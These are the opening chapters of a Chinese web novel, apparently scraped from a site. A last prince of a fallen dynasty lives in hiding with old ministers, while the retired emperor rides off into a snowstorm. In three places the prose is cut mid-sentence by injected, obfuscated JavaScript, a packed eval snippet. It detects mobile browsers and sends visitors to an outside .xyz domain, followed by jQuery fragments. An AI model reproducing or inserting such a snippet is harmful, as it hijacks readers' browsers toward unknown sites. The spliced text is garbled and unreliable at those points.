《亡国后捡到了当朝太上皇》
1. 前朝余孽
景和十年冬,天生异象,突降雪灾,自淮河两岸,到北境琼州,百姓为其所累,数月之内,民不聊生。
浑仪监观星宿不利,七杀贪狼光芒大盛,实乃杀孽反噬的征兆。
流言蜚语喧嚣尘上,人人都说是太上皇登基后行事暴虐残酷不仁,才招致如此大祸。
于是群臣上奏,请太上皇下罪己诏,以平天怒。以左都御史为首的一干人等,于金銮殿上撞柱死谏,请太上皇禅位于少帝。
太上皇称病推诿,迟迟不肯下诏罪己,又将少帝幽禁宣庆殿,非旨不得出。
随后一纸诏书,抄家落狱流放,御史台十不存一。
一时间朝野惶惶,暗潮涌动。
*
琼州,大雪封山,官道上冰层十里绵延不绝。
一片苍茫的白色中,穹顶鎏金的马车停在荒山脚下,止步不前。
风声呼啸,卷起阵阵雪雾直往人脸上扑。
驾车的人抬眼看看前方茫茫山路,片刻后,他放下手中的赶车的马鞭,转身向车内跪拜,“陛下,大雪封山,怕是没法再往前了。”
特地挑高音量的话语艰难地传进马车内,一只冷白的手掀开锦缎狐裘制成的帘子,车内的人并未多言,动作略显沉重,另一只手中拿着明黄色的卷轴,欲要走出。
驾车的福海立刻手脚并用地滚下去,正习惯性地准备跪在冰冷的雪地上给贵人垫脚,就听对方冷斥一声,“让开。”
福海一手已经探进雪地,冻了个透心凉,却还能条件反射地从前头捞了个轿凳来替自己。
身形颀长的男人穿了一身月牙白的锦袍,长发松散束着,在风中凌乱飘飞,本是温润如玉的长相,却面无表情,几分戾气萦绕在眉宇间。
男人踩着轿凳下了马车,几步的路,刺骨的冷意已经瞬间侵袭而上,俊美的脸上半点血色也无。
他一双凤眸向前方的琼山望,连绵不绝的山脉此刻已被雪色连成一线,看不见尽头在哪。
琼山山脉乃是琼州府的一道天险,琼州府便在最南端。
若无大雪,今日就能赶到琼州府。
然而大梁疆域之内,琼州灾情最重,这条通往州府的官道起码要三五月才能修整完毕。
罢了。就在这里吧。
他将手里的明黄卷轴扔向福海,刚刚写成,字迹潦草随意,动作像是随手丢弃废纸。
福海手忙脚乱地接住那诏书,入手顿觉重若千钧,语无伦次:“陛下,再往前走山路难行,山野之中地势复杂,护卫恐怕不能及时跟上,身后还有追兵,陛下何必独自……”
穿着锦袍的男人蹙眉瞥了他一眼,似乎在嫌弃他聒噪。
福海声音减弱,神色犹带不解。
如今朝中局势混乱,某些少帝的党羽早已耐不住性子,銮驾刚出王都,便有死士跟了上来。
可陛下却一直不曾下令将身后的尾巴清缴干净……
思及此,福海心中一股荒谬的恐惧从心底蔓延上来。
“传孤口谕,全体羽林卫,务必将诏书护送回宣庆殿。”男人掩唇轻咳几声,他侧了侧头,视线并无落点,手向前伸,精准握住缰绳,解开活结,翻身上马。
福海骇然色变,却根本不敢阻拦,他“噗通”一声双膝跪地,已然明白了什么,深深俯首拜别。
数月以来,朝堂上争议不断,山雨欲来风满楼,似乎昭示着太上皇的帝王宝座已然岌岌可危。
但所有人都不会想到,本该在宣庆殿处理政事的太上皇本人,早已离开国都。
琼州,数月来流言蜚语的源头,也是太上皇十年前的起兵之地。
或许也将是埋骨之地。
低温,大雪,深山,追兵重重,进了那苍白一色中,神仙难救。
他额头埋进雪中,喉头哽咽,语调像浸了血似的嘶哑,热泪滴落进雪层里消失不见。
“微臣恭送陛下,望陛下心愿得偿。”
——也愿苍天得见,让圣意有所转圜。
“回吧。”
风声里传来一句嘶哑淡漠的回音。
*
风雪已停,寒意尚在。
琼山镇某村,一破败的土地神庙中,主殿放着一个破败生锈的铜钟,殿内四处透风,茅草叶子跟着风雪乱飞,底下是大片的草垫子,用麻绳略一捆绑,便能让一群人挤挤挨挨坐在上面,侧耳倾听。
殿内仅有的一方矮桌前,须发皆白的老者穿着一身长衫,外挂一层灰扑扑的绒袄,看着老态龙钟,视线却十分精明锐利,说话时中气十足。
“今日末尾,仍然是说文解字……”
显然,这是偏僻村落里的一个简单的私塾,从地点到人员构成,都充斥着下九流的不着调。
啊不,是不拘小节。
矮桌前的老者侃侃而谈,“炀,炙燥也。多为炽热之意,与火有关。当然,也有其他释义……”①
这自然的停顿和凌厉的视线顿时让底下的人变成苦瓜脸,知道夫子又要抓人考学问了。
老者的目光在面前年龄跌宕起伏的脸上一一扫过,并迅速落在最外侧一个侧靠在石柱上、翘着二郎腿的少年身上。
头上的粗麻帽子被一拳兽皮围着,这在偏僻的村落里是个稀罕物件,看着就十分暖和,戴帽子的人将帽檐下拉遮住了上半张脸,自然上弯的薄唇在冷风里勉强有点血色。
少年睡得那叫一个昏天黑地,估计就算这头顶上的铜钟响三响,也不耽误这人会周公。
还没等他开口唤这位从不肯认真听课的庸才,边上便有另一人已然开口抢答。
“我看过半本周史残卷,上面写了有位暴君,谥号为‘炀’……”
白胡子的夫子面皮一抽,似乎知道这小少年想说什么,还没来得及阻止,便见那小少年摇头晃脑脱口而出。
“炀帝做过许多天怒人怨的暴行,所以这个字,应还有残酷不仁之意。”
如今是大梁景和十年,前朝为应,再往前是大周,大周朝有位少帝尚武,生性暴躁,少年继位便成了被后人唾骂的暴君。
更重要的是,少帝之所以是少帝,就是因为他继位不到两年就崩逝了,青年早亡,就好像遭了天谴一样。
“这寓意也太差了,青年早亡……等给我家幺儿起名可要避开这个字才好。”一个青年皱着眉头说道。
“是啊是啊,简直是在咒人早死。”
“不过肯定也不会有人给孩子用这种字取名吧?‘炀’,多晦气……”
说话声被寒风呼啸着打散,落在半梦半醒的人耳朵里,就变成了零散的字符,拼拼凑凑,瞬间就变了意味。
“青……起名……炀……晦气……”
——应青炀刚刚从周公那里散会,意识迷蒙还未睁眼,就听见有人在骂他晦气。
他还没搞清楚状况,但脑子里已经本能地冒出了一句:你礼貌吗?
应青炀睁开眼时,只觉得被一通老拳打的浑身酸痛,长时间保持一个姿势的福报让他在那龇牙咧嘴了半天。
原本少年英气、潇洒俊朗的一张面孔,硬生生变得有些滑稽。
应青炀长这么大就没被人当面戳过脊梁骨,他雄赳赳气昂昂地准备在人群中寻找罪魁祸首,不讹上个十文八文简直对不起他这个暴脾气。
“阁下贵姓?我倒要看看你的名字有多好听。”
一句阴阳怪气还没说出口,应青炀一抬眼就对上矮桌前夫子的视线,瞬间底气泄了一半,一股心虚顿时油然而生。
他轻咳了一声,视线游移。
面前这位姜允之姜老先生是这小村落里唯一一位有学问的夫子,亦是应青炀的启蒙老师,更是与他生活多年的长辈。
当然,姜允之更喜欢称自己为太傅。
姜太傅在这名不见经传的小村落里开私学,收点束脩补贴家用,应青炀每次都被拎过来听学。
这次来东镇小村之前,为了多要一点银钱,他对姜太傅谄媚了半天,吹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960288|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得天花乱坠什么夫子真有才华,什么古往今来真圣贤之类的话都说出来了,又多次保证一定会认真听学,这才多讨了几枚铜板。
原本铁公鸡似的姜太傅也抵挡不住他的糖衣炮弹,勉强答应了他的请求。
然而应青炀刚在这破学堂里坐下没多久,听着姜太傅嘴里冒出来冗长的“之乎者也”,没坚持多久就呼呼大睡起来,冷冽的风雪也抵挡不住一个人想要入睡的心。
天地良心,应青炀是真的有下定决心好好听学,但他这人属实混不吝。
从他五岁开蒙,姜太傅开始教他读圣贤书,一直到现在快要及冠,一天不落日日讲学,仍是没能成才。
让他讲些溜须拍马的小人言语那是张口就来,一问什么诗经策论治国之策那是一窍不通。
圣贤书也未必教得出圣贤,应青炀用他十几年的读书生涯诠释了这一真理。
不过,他的真理在太傅那里都是歪理。
单论听学这事,大概是觉得自己理亏,应青炀就有些怵他,这会儿听学听到周公那里被太傅当场抓包,半点气焰也无。
然而他这幅怂巴巴的样子落到姜允之眼中,就是被方才那番“炀”字晦气的说辞戳到了痛处。
应青炀的名字,是姜太傅不愿提及,十几年来也少有人唤过的禁忌。
方才他本想阻止,但还是慢了一步。
姜允之的白胡子抖动两下,慢慢吐出了一句:“……解得不错,今日讲学到此为止。”
突然逃过一劫的应青炀瞪圆了眼睛,没想到就这样被轻轻放过。
他抬眸看去,透过漏了一半的屋顶望见一角破落的天空,想看看今天的太阳是不是从西边升起。
雪后的天空碧蓝如洗,万般尘埃都随着茫茫莹白融进大地,应青炀看得有些出神。
回过神来时,姜太傅正在矮桌前收束脩。
这种偏僻的地方难得有人愿意开私学,可惜家家户户活得都紧巴,能交来的束脩也五花八门。
除了铜板之外,鸡蛋、腊肉、皮草……五花八门的束脩慢慢堆满了矮桌,姜太傅来者不拒。
应青炀慢慢蹭过去,心里还惦记那多讨的铜板。
聚在殿内的学生慢慢散去,姜太傅分门别类整理束脩,应青炀不知道从哪里摸出来一个小马扎坐在边上,看着最右边的铜板望眼欲穿。
读书人不沾黄白之物,姜允之原本也是有这种忌讳的,可惜现实太过残酷,清贵的好名声不能用来填饱肚子。
而只有姜允之一个人在应青炀面前有点长辈的威严,能管得住应青炀旺盛的购买欲。
久而久之,管账的活计就落到了姜太傅肩上。
姜太傅拿了几枚铜板向应青炀一伸手,“拿着。”
应青炀接过来数了数,顿感惊讶,“呦,怎么还多了两个。”
姜太傅斜他一眼,语气凉飕飕地道:“殿下若是有听学,还会多上几个。”
应青炀顿时长吁短叹,但不是后悔没有克制住自己,他道:“您老人家早该知道,我就是个无能庸才,什么天命、重任、救苍生于水火,通通都是无稽之谈,何必再多费力气。”
听了十几年这种称呼,应青炀从一开始的别扭,到如今的百无聊赖,脸皮俨然已经进化了。
他掏了掏耳朵,只觉得奇怪,“今日是怎么了,在外面不是说好不提这个称呼吗?”
所谓祸从口出,琼山镇偏僻,但再天高皇帝远的地方,他的身份都是随时会招来杀身之祸的累赘。
姜太傅却没应他的话头,转而道:“今日讲学内容是臣安排不当,殿下的姓名绝无晦气之意,方才那番说辞,莫要放在心上。”
少年郎轻笑一声,有种不将任何事请放在眼里的洒脱。
“太傅,这话就不对了,若非真的天煞孤星厄运缠身,我怎会好端端地活到今日?”
他姓应,名青炀,在如今的大梁疆土之上,是生来便被判了死刑的,前朝皇室遗孤。
2. 灭神之策
应青炀自己都觉得这番慷慨陈词十分能触动人心,任谁听了不得怔愣片刻,为他生来不公的命运惋惜半秒,并在他特地找好角度的精致侧颜下沉醉一分。
然而教导他多年,姜太傅早已习惯自己这位学生,大应仅剩的一位皇子是个什么货色。
他连眼睛都没眨一下,便快、狠、准地抓住了应青炀从桌子底下伸向那摞铜板的手。
应青炀嘴边的笑意僵住了,原本在眼中即将滑过的欣喜也慢慢变质成了尴尬,心道一声遗憾。
果然这招对太傅没有半点用处。
应青炀是姜太傅一手带大,他眼珠子一转,姜太傅就知道这臭小子没憋什么好屁。
如果放在前朝皇宫,姜太傅就是板上钉钉的太子太傅,有把小殿下培养成明君的重任。
但很显然,如今大应的唯一一位皇子殿下,是个胸无大志、身无大德的庸才。
年近及冠,文不成武不就,既不谦逊,也不慈悲,在琼州最偏远的地方野蛮生长至今,身上仅存的、还算得上清贵的地方便是那出众的容色,一眼就看得出不该属于这冷冽无情的北境。
抛去这天生的皮相,应青炀唯有嘴上功夫了得,总能把一点小事夸大得天花乱坠,几句话就能哄得人被他的思路蒙骗,只要他想,没有他诓骗不到的人。
偏偏每次都能说得入情入理,让听者为之动容,也只有姜太傅一人算得上“慧眼识珠”,能看清应青炀那一肚子歪门邪道。
姜允之纵横官场二十几年,一双慧眼阅人无数,早就看出应青炀的秉性。
都说龙生九子各有不同,论起生于皇室的归宿,应青炀便更适合做个闲散王爷享福,什么黎民苍生,在这位眼里留不下半点痕迹,甚至比不过从村口乞丐那里诓来的半只叫花鸡。
可惜所谓的大应,也只有这一位硕果仅存的皇室子弟,几个自国都城破时匆匆出逃的前朝旧臣,以及几乎在这十几年间消耗殆尽的金银细软、奇珍异宝。
生不逢时,身不由己。
姜太傅在心里叹息一声。
应青炀自然不知道自家太傅心中所想,自认天衣无缝的计策被太傅一眼看穿,他多少觉得有点没脸。
“哎,这天也太冷了,冷得我手抖,哈哈哈……”应青炀欲盖弥彰地找补了一句。
“嗯——”姜太傅从鼻腔里发出一声轻哼,拎住他的手缓缓远离桌上的银钱,面上看起来竟是半点没被方才那番卖惨影响到,“殿下是得好好暖暖。”
说着把边上刚刚收上来的一块兽皮扔进应青炀手里。
“咳,钱财乃身外之物,还是这点东西更合我意。”应青炀摸着那块鹿皮爱不释手,啧啧称奇,“琼山里都见不到成色这么好的鹿皮,也不知道这小村子里怎么这般卧虎藏龙?”
此地距离琼山山脉还有一段距离,沿途除了几个驿站和一个商贸集镇,便没什么人烟。
他们的住处在琼山脚下,人迹罕至,破败的村落里只有几家打猎为生的农户,除此之外,就是他们这群不速之客。
十九年前大应都城沦陷时,应青炀还是个襁褓中的婴儿,忠于皇室的旧臣将他从皇宫的大火中救出,东躲西藏,最后到了琼山山脉里最不起眼的一处荒山。
应青炀方才的话也不是空穴来风,以他的身份,在如今的大梁疆土上,但凡被人察觉,不仅自身难保,牵涉之人一概不能幸免。
被身份所累,自小到大,前朝老臣们都不敢带他去人多的地方,等他年岁见长,从皇宫里收拾出来的那些金银用得见底,不得已出来讲学的姜太傅才为了让这人多做学问带上他。
可惜,收效甚微。
应青炀天生喜欢稀奇古怪的小玩意儿,琼州毗邻边境,广开市集,见得世面多了,想要的便也多了。
姜太傅有意遏制应青炀的购买欲,这几年对银钱上的管束极为严苛。
饶是小殿下在其他同僚眼中如珠如宝,姜允之也仍是那个铁面无私的太傅。
这会儿给了应青炀一张鹿皮,便把之前说好的铜板讨回来几枚。
少年揉搓着手里的鹿皮皱眉,似乎在思考哪个决定更划算。
应青炀数了数手里的铜板,长吁短叹地塞进了荷包里。
有了方才那一遭,老爷子也不愿他插手帮忙,生怕自己辛辛苦苦赚来的口粮就被这混小子摸了去。
应青炀是个闲不住的,只好背着手在殿内溜达了几圈,等自家太傅整理束脩。
他站到破旧、只剩下一半的神像面前,上下打量,动手动脚。
石像应当是被人横刀劈断的,还用铁杵之类的东西砸过,碎得乱七八糟,头颅一分为二,裂开的两半张脸稍显古怪,半哭半笑,半面哀恸,半面慈悲。
应青炀觉得这旧物有些稀奇。
就连殿内的陈设,灯台、香炉、横木乃至殿门,都留下了长刀劈砍的痕迹。
风霜的痕迹让这石像看起来分外破旧,应青炀矮身伸手,边缘一碰,碎屑便窸窸窣窣地往下掉。
他还没怎么动作,就听身后的姜太傅斥他几句:“混小子!停手!也不怕忌讳!”
应青炀灰溜溜地缩回手,兀自辩解一句,“这石像看着挺稀奇……”
转而又理直气壮:“您方才还说我的名字没有晦气的意思,怎么到了神像这就又忌讳起来了……”
“您都敢在这儿开私学了,还怕什么神仙……”
姜太傅把东西收进包袱装好,回头剜了应青炀一眼,难得没能说出什么反驳的话来。
他只催促应青炀拿好自己的东西,该返程回山了。
应青炀从大殿后面牵出小驴车,两人架着驴车,顺着村镇之间的小路返程,一直到远离村子不见行人,姜太傅才捋了捋花白的长胡子,语气沉沉地开口:“那店里的神像叫悲喜像,是曾经被大肆供养祭拜的神像之一,最兴盛的时候,大应一半的百姓都在供奉他的神像……”
就跟所有神教都会有稀奇古怪的故事一样,悲喜像也不例外,姜太傅说话文绉绉的,关于这段来历讲得十分冗长,应青炀简单概括一下,就是只要经历过大悲或大喜之人入殿祈祷跪拜,一切所求皆能如愿。
邪/教。应青炀在心里怒斥一句。
然而敬神拜神的旧俗根植于这片土地,自大周开始,到大应兴盛至顶峰,虽然遵循着盛极必衰的原则自新朝迅速败落,但改朝换代不过十年,迷信星宿八卦乃至巫蛊神明的思想早就在百姓心中根深蒂固,不是一朝一夕能改变的。
前朝大应时常有神官入仕,更有甚者封侯拜相,一人之下万人之上。
这种狂热的推崇往前追溯,得从大应开国说起。
当时诸国混战,各方势力此消彼长,应青炀的太祖也是自立为王的一支,由于在行军打仗上有些天资,一时间风头无两,不可避免地被合纵连横,差点被多方合围葬身蜀地。
侥幸逃脱之后,只剩千余兵士,弹尽粮绝。
穷途末路之时,应青炀的太祖到一土地神庙参拜,随后天生异象,白日里惊雷劈裂了神庙主殿,大地崩裂,砖土之下金银财宝无数。
应青炀的太祖凭借“神赐”,东山再起,随后越战越勇统一各方势力,建立新朝。
大应灭亡之前,这是百姓们津津乐道的一件奇闻,正是应运而生,所以应青炀的太祖改姓为“应”,新朝也定名为“应朝”,以期诸神庇佑,福泽绵延。
应青炀也认同这一点。
果真是应天感召,天要他灭亡,便崩解得一干二净,片刻都没耽误。
更滑稽的是,如今应青炀作为唯一的血脉,却是个从不将神明之说放在眼里的逆行者。
而如今这片土地上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960289|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人们,仍然有拜神的习惯,有陈珂一般的旧俗,最多最多,只是对神明少了一份敬意,多了一份漠视。
姜允之也不能免俗,他亦不是不敬神明的人,只是在吃饱饭和为看不见摸不着的各路神仙上供之间,十分理智的选择了前者。
像应青炀一般心底完全没有神明之说的人,大抵只有一人。
耳闻已久,缘悭一面。
应青炀有一瞬间微不可查的走神。
好在姜太傅是个一开始讲学就收不住的人,没有注意到他的异常,说着说着,他的科普小课堂就变了味道,他道:“那人当年灭神之策一出,若非有三十万大军作为底牌,大梁早在立朝第三年就再度沦陷于战火。”
“就算如今神教十不存一,也仍是大患。”
“急功近利,刚愎自用,这种人怎么能堪当大任。”
姜太傅讲出了火气,须发都略微抖动。
紧接着就是一通关于某人登基十年来治国之策的贬损。
应青炀原本还饶有兴致地听着,等到听见那个有特殊意义的“那人”,表情顿时扭曲成了苦瓜。
姜太傅口中的“那人”,即是如今大梁的太上皇,也是老臣们口中,应青炀的死敌。
若想复国,大梁的君主就是他们必须杀死的对象。
而应青炀这位前朝余孽,也是大梁君主的隐患。
身份与立场对立,听起来他们之间,注定是你死我活的关系。
细数新朝历史,从大应亡国,到多方混战群雄逐鹿,再到当今大梁太上皇扫除障碍建立新朝,立新法新策,知人善用,手段强硬,三年内就已经让这片土地恢复生机。
三年之后,太上皇的治国之策逐渐有些激进,姜太傅所说的灭神之策正是其中之一。
太上皇不信神明,强硬命令手下大军,将大梁境内的所有神殿一一毁坏,历时两年,雷霆手段拔除毒瘤。
应青炀听到的时候只想叫好。
不过,姜太傅为首的老臣们倒是从来不会说一句好字,对太上皇的一举一动都能找出贬低的角度,每次都让应青炀叹为观止。
用一个不太恰当的形容,就像总能挑出毛病的丈母娘一样吹毛求疵,村口卖馍的王大娘都没这么不讲理。
要不怎么说应青炀生来就是个混不吝,他一身反骨,别人越说不好,他偏要交口称赞。
要应青炀说,大应朝算什么天佑,当今这位太上皇才真的是真正的天之骄子呢。
毕竟这位太上皇自北境起兵时年仅16,至如今景和十年,这人也只是堪堪而立。
这么显而易见的事,他亲爱的太傅愣是蒙起眼睛当瞎子。
——“若有一日你大事,绝不可如此急躁……”
唉。
应青炀愁啊。
他面上不显,手里稳稳拉着缰绳,俨然一个专业的好车夫。
姜太傅一番拳拳报国之心天地可鉴,任谁听了都会有所震动,奈何应青炀从小听到大,已然对这番说辞有了免疫力,装聋装瞎,驾轻就熟。
自家太傅说得起劲,应青炀也随他去了,连连点头应声,看起来非常温驯听话。
然而他不闹幺蛾子,姜允之反而觉得不对劲。
这小子居然不反驳,有问题。
姜太傅疑惑的目光落在应青炀身上。
应青炀于是笑嘻嘻道:“若不是当年的灭神之策,如今哪里能找到个不需要租金的地方供您讲学?说起来这束脩,是不是得分那人一半?”
姜太傅顿时涨红了脸:“臭小子!胡说八道!”
“哈哈哈哈哈哈!”应青炀哈哈大笑,他拿起边上的半截马鞭,扬鞭一挥,小毛驴立刻加速,“哒哒哒哒哒”地向前跑去。
差点被晃倒的姜太傅发出一声中气十足的怒吼:“——孺子不可教也!!!”
3. 荒山枯坟
应青炀这一扬鞭,小毛驴就撒开了蹄子奔跑,没出去多远就踩到了积雪下的冰层,差点把驴车上的一老一小摔个人仰马翻。
姜太傅不带脏字地把应青炀骂了个狗血淋头。
应青炀自知理亏,没和自家太傅逞什么口舌之快。
只是暗中腹诽,琼州这种偏僻的地界,什么消息想要从京城传过来,起码也要一两月,这还必须得是闹得举国皆知的大事才行。
至于他们所在的荒山一带,消息就更加闭塞了,人烟稀少得连官道上都没什么行人,只偶尔有运送粮草的押运车经过,往琼山重镇去。
但姜允之仍然能从那口耳相传的只言片语中,揣摩出最近的朝堂局势,足不出户便能看透时局大事,姜太傅堪称智多近妖,其他旧臣经常念叨,说着要不是没等到一位贤主,姜允之必定青史留名。
本可以让自己青史留名的姜太傅却从来没有离开荒山的打算,应青炀有时觉得,他碎碎念似的说出一些针砭时弊的论断,只不过是为了给后面对大梁太上皇的攻讦做铺垫。
看起来比起运用自己的为官之道,姜允之更偏向于用自己斐然的文采把太上皇唾骂的一文不值。
应青炀偶尔有劝他投靠大梁的打算,最终也会因为姜允之那满嘴对太上皇的不敬之语而作罢。
当然了,他严重怀疑自家太傅只是脾气爆、嘴巴毒,对所有人都是无差别攻击。
听着一连串训斥的皇子殿下如是想道。
就这么把太傅的训斥声当唱词听,应青炀一路悠然地驾车。
两人回山的路上经过一个商贸市集,苟且偷生的这些年里,一些必备的物品基本上都是从这里采购。
姜太傅作为掌管财政大权的人,往往在外出时承担购买必需品的重任。
应青炀亦步亦趋地跟在后边,负责往车上搬运物资。
这次回山前,两人斥巨资添置了一些冬被,这次的雪灾来势汹汹,大雪持续这么久,仍然有愈演愈烈的趋势。
他们居住的村子虽然在山脚的背风处,但一层层的积雪覆盖叠加,寒意入骨,一眼茫茫白色,仿佛一个不留神,就会在风雪中沉眠。
每年的冬季,这片北境的群山都会悄无声息地埋葬许多人。他们只能艰难自保,祈祷自己不会成为荒野上的一座孤坟。
除了冬被还有御寒的衣物,越往北的地方越荒凉,成衣的价格也极其昂贵,这么多年,他们一般是买些半成品自己制衣,若非逢年过节,不会花大价钱去成衣铺。
姜太傅受的束脩里,粮食占大多数,这次也算是免了一部分花销。
再度启程时两人大包小裹,几乎把驴车都塞满了。
在雪地中跋涉许久,驾轻就熟地避开难走的路段,才终于在临近傍晚的时候到了荒山脚下。
从村口往里望去,几座破败的小屋零散地散落在山脚下,袅袅炊烟缓慢升腾,在彻骨的寒意里,半路便迅速销声匿迹。
应青炀远远便看到村口处杵了个人,上半身落了些雪,看得到一小片莹白,混在脏脏的袄子表面,远远看去跟木桩子似的一动不动。
他向那人扬了扬手里的马鞭,那人才终于动了,行动间雪花簌簌向下落。
“少爷!”那青年由远及近跑来,越靠近越看得出他长得高壮,皮肤黝黑间混着被风雪摧残出的粗糙,长相带着点异域风情,一看就知道有外族血统。
只不过神情有些直愣,有种单纯的傻气。
这孩子是多年前逃跑途中,姜允之捡回来的弃婴,认了姜太傅为义父。
因为肤色深被姜太傅选了个“墨”字做名,全名姜墨,现在是应青炀的好友兼护卫,放在皇室规矩里,要叫一声伴读。
可惜这位伴读比应青炀这个混不吝还差劲,完全没有一点读书治学的天赋,每次听太傅讲学都比应青炀更早入睡,属实是伴读随正主了。
但好在这家伙身板一直不错,是个习武的好苗子,到了这个年岁,已经一只手就能把一个成年人拎起来。
驴车行驶到村口停下,应青炀如释重负地把鞭子扔进那人手里,“阿墨!快!这天寒地冻的,快扶先生下来,把东西帮忙搬回主院里。我先回院子里等你。”
阿墨接过鞭子,认真点头,“好的公子。”
鉴于这人脑袋不大灵光,姜允之从一开始就让他称呼应青炀为“公子”,以防哪天在外面说漏了嘴,招来杀身之祸。
这话一说完,只见姜太傅鹰隼一样的视线闪电般地扎在应青炀的背上,仍是让已经稍有青年身量的人打了个寒颤。
不管年岁涨了多少,太傅的威压倒是不减当年。
然而应青炀要是真的会怕,就不会养成现在这幅脾性。
坐在车上的太傅看着他跑走的背影爆喝一声:“臭小子!先把用剩下的铜板还来!让我对对账!”
姜允之就知道这小子不闹幺蛾子就难受,虽然每次出去他都看不住对方,不知道那些铜板到底是以何种方式离开应青炀的荷包,但只要瘪了一点,姜太傅就能发现。
这下车就跑的举动肯定是心虚!
应青炀听到太傅愤怒的声音,脚下的步子顿时又加快了。
他伸手摸了摸怀里的一个小布包,嘴角上扬,珍惜地又往里藏了藏。
——能还回去才有鬼!他又不是个傻的。
手里那堆铜板已经挥霍一空,他哪来的钱再拿去给太傅查账!
反正村里的旧臣们除了太傅之外都不会和他计较这些小事,进了村就是善哉善哉!
应青炀脚底像抹了油似的溜得很快。
徒留身后的姜太傅和阿墨展开一场驴唇不对马嘴、酣畅淋漓的交谈。
姜太傅急得直拍阿墨的肩膀,“我让你去抓他,来扶我做什么!我还没老到连下马车都需要人扶!”
阿墨蹙眉,表情明显不认同,“这是公子的吩咐。”
“小兔崽子!现在连我的话都不听了!?松手!”
“听的。”阿墨说完,手还铁钳一般按在姜太傅边上,沉默半响才疑惑地憋出一句:“不是您说的,要以公子的命令为先。”
姜允之差点被自己的木头义子气了个仰倒。
“逆子!!逆子!!”
这边两人还在纠缠,那边应青炀已经一溜烟地进了村。
隆冬时节的寒意逼得人不敢出屋,屋子再破败,也总能带来点温度。
村子里除了偶尔几声犬吠,就只剩下搬运木柴,和斧头劈砍的声音。
正是飘着炊烟的屋院内,两个中年男子正在劈柴,然后储存到柴房里,留着过冬用。
“风叔!雷叔!忙着呢?”应青炀隔着屋院的木栅栏和两人打了个招呼,“先生请你们过去帮忙搬东西呢。”
“殿下回来了?今日听学如何?”拿着斧头的男子将工具放下,拍了拍手里的木屑准备去村口帮忙。
应青炀挠了挠头,“马马虎虎。”
“唉,要我说姜大人就是太心急,我们殿下还小呢。虽说我也对殿下有信心,但成大事也不急于这一时啊。”另一人这样说道,随后叮嘱他:“殿下,主屋那边已经烧了炉火,觉得冷就再喊我添材。”
应青炀囫囵点头,每次听到这种哄小孩的话他都忍不住怀疑自己现在是不是只有三岁半。
不过他从不会说扫兴的话,只道:“那肯定的,风叔你知道我最怕冷了!”
应青炀的住处在主屋,是村落里最大的一栋土房,其余人的住所众星拱月地围绕在主屋周围,当初在安家的时候是为了安全考虑,后来也一直没有改过。
据说最初从国都出逃的队伍浩浩荡荡,足有几百人,但这一路上死的死伤的伤,到荒山落脚时只剩下不足百人,带出来的金银细软本就不多,也没能撑上几年。
而近二十年间,寿终正寝、意外亡故的也有不少,到了今年,村里的前朝旧臣们只剩下十几人。
十几个年头过去,再高贵的人也会在入不敷出的日常里变成凡人,这些前朝旧臣是,应青炀也是。
很难想象在这种生活堪称贫寒的时候,这些人仍然保持着对应青炀这位前朝遗孤的尊重和爱戴,甚至宠溺得有些过了头。
正是因为感受到的善意太多,应青炀才每每都在努力回应,做得到的,做不到的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960290|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他都竭尽所能。
两个中年男子笑着点头应声。
应青炀转头进了主屋,犹如狂风过境一般在屋子里东走走西窜窜,把自己带回来的东西小心收进墙壁夹层,在偏院拿了自己的弓箭背在身上,又从灶台上摸了一小把坚果,这才全副武装出门。
他要进山,看看能不能打到什么猎物作为过冬的存粮。
目前这个温度和雪层厚度还能去试试运气,到了冬月里再想去,就只是单纯的送死了。
就算称呼得再高贵,被照顾的再细致,应青炀的自我定位也从来不是什么皇室遗孤天横贵胄,他不过是一个生长在荒山的普通人,每一天都在努力地活着。
每一天都像太阳一样燃烧。
应青炀从市集上买到了想要的东西,这会儿心情正好,哼着不知名的小调出了大院,偏院的婶子一看就知道他要进山,稍微推开了点门缝,放高了音量叮嘱他:“山里不安全,别走得太深,早些回来!”
“知道了!”应青炀向身后摆了摆手。
走之前他悄悄去了村里的窝棚,窝棚底下养了几头毛驴,最边上还有一匹独占了大半个窝棚的黑马,看见应青炀的身影走近,黑马晃了晃尾巴,缓缓向他走来,只是动作却有些蹒跚。
“黑影!”应青炀扬起嘴角小声唤了一句,快步走到近前。
黑影的头往他肩膀上蹭了两下,应青炀也不嫌弃,甚至抬手给黑影喂了一小块麦芽糖,得到一阵欢快的哼气声。
他摸了摸黑影油光水滑的鬃毛,随后撑着马棚边的栏杆跃进去,俯身检查了一下黑影的后腿。
黑影的右后腿有明显的弯曲,用两块木板夹住固定,应青炀确认了夹板没有松动。
